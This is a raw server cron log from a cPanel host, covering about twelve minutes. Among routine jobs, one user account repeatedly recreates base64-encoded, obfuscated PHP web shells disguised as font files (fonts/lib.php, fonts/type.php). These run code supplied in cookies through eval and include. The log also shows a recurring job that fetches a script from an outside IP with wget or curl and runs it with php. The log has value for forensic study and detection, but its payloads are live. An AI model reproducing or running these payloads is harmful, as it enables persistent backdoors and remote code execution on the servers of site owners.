Sep 20 19:22:01 ip-184-168-122-23 CROND[14692]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 19:22:01 ip-184-168-122-23 CROND[14694]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 19:23:02 ip-184-168-122-23 CROND[14951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 19:23:02 ip-184-168-122-23 CROND[14953]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 19:23:02 ip-184-168-122-23 CROND[14952]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 19:23:02 ip-184-168-122-23 CROND[14955]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 19:24:01 ip-184-168-122-23 CROND[15265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 19:24:01 ip-184-168-122-23 CROND[15266]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 19:24:01 ip-184-168-122-23 CROND[15268]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 19:24:01 ip-184-168-122-23 CROND[15271]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 19:24:01 ip-184-168-122-23 CROND[15272]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 19:25:01 ip-184-168-122-23 CROND[15521]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 19:25:01 ip-184-168-122-23 CROND[15526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 19:25:01 ip-184-168-122-23 CROND[15524]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 19:25:01 ip-184-168-122-23 CROND[15523]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 19:25:01 ip-184-168-122-23 CROND[15525]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 19:25:01 ip-184-168-122-23 CROND[15522]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 19:26:01 ip-184-168-122-23 CROND[15766]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 19:26:01 ip-184-168-122-23 CROND[15768]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 19:26:01 ip-184-168-122-23 CROND[15769]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 19:26:01 ip-184-168-122-23 CROND[15770]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 19:26:01 ip-184-168-122-23 CROND[15771]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 19:27:01 ip-184-168-122-23 CROND[16461]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 19:27:01 ip-184-168-122-23 CROND[16463]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 19:27:01 ip-184-168-122-23 CROND[16462]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 19:27:01 ip-184-168-122-23 CROND[16464]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 19:28:01 ip-184-168-122-23 CROND[16688]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 19:28:01 ip-184-168-122-23 CROND[16689]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 19:28:01 ip-184-168-122-23 CROND[16694]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 19:28:01 ip-184-168-122-23 CROND[16692]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 19:28:01 ip-184-168-122-23 CROND[16695]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 19:29:01 ip-184-168-122-23 CROND[17016]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 19:29:01 ip-184-168-122-23 CROND[17017]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 19:29:01 ip-184-168-122-23 CROND[17019]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 19:29:01 ip-184-168-122-23 CROND[17022]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 19:30:01 ip-184-168-122-23 CROND[17239]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 19:30:01 ip-184-168-122-23 CROND[17241]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 19:30:01 ip-184-168-122-23 CROND[17246]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 19:30:02 ip-184-168-122-23 CROND[17248]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 19:30:02 ip-184-168-122-23 CROND[17247]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 19:30:02 ip-184-168-122-23 CROND[17249]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 19:30:02 ip-184-168-122-23 CROND[17250]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 19:30:02 ip-184-168-122-23 CROND[17245]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 19:31:01 ip-184-168-122-23 CROND[17497]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 19:31:01 ip-184-168-122-23 CROND[17499]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 19:31:01 ip-184-168-122-23 CROND[17498]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 19:31:01 ip-184-168-122-23 CROND[17501]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 19:31:01 ip-184-168-122-23 CROND[17502]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 19:32:01 ip-184-168-122-23 CROND[17736]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 19:32:01 ip-184-168-122-23 CROND[17737]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 19:32:01 ip-184-168-122-23 CROND[17741]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 19:32:01 ip-184-168-122-23 CROND[17743]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 19:32:01 ip-184-168-122-23 CROND[17742]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 19:33:01 ip-184-168-122-23 CROND[17988]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 19:33:01 ip-184-168-122-23 CROND[17991]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 19:33:01 ip-184-168-122-23 CROND[17992]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 19:33:01 ip-184-168-122-23 CROND[17990]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 19:34:01 ip-184-168-122-23 CROND[18444]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 19:34:01 ip-184-168-122-23 CROND[18447]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 19:34:01 ip-184-168-122-23 CROND[18449]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 19:34:01 ip-184-168-122-23 CROND[18450]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 19:34:01 ip-184-168-122-23 CROND[18452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
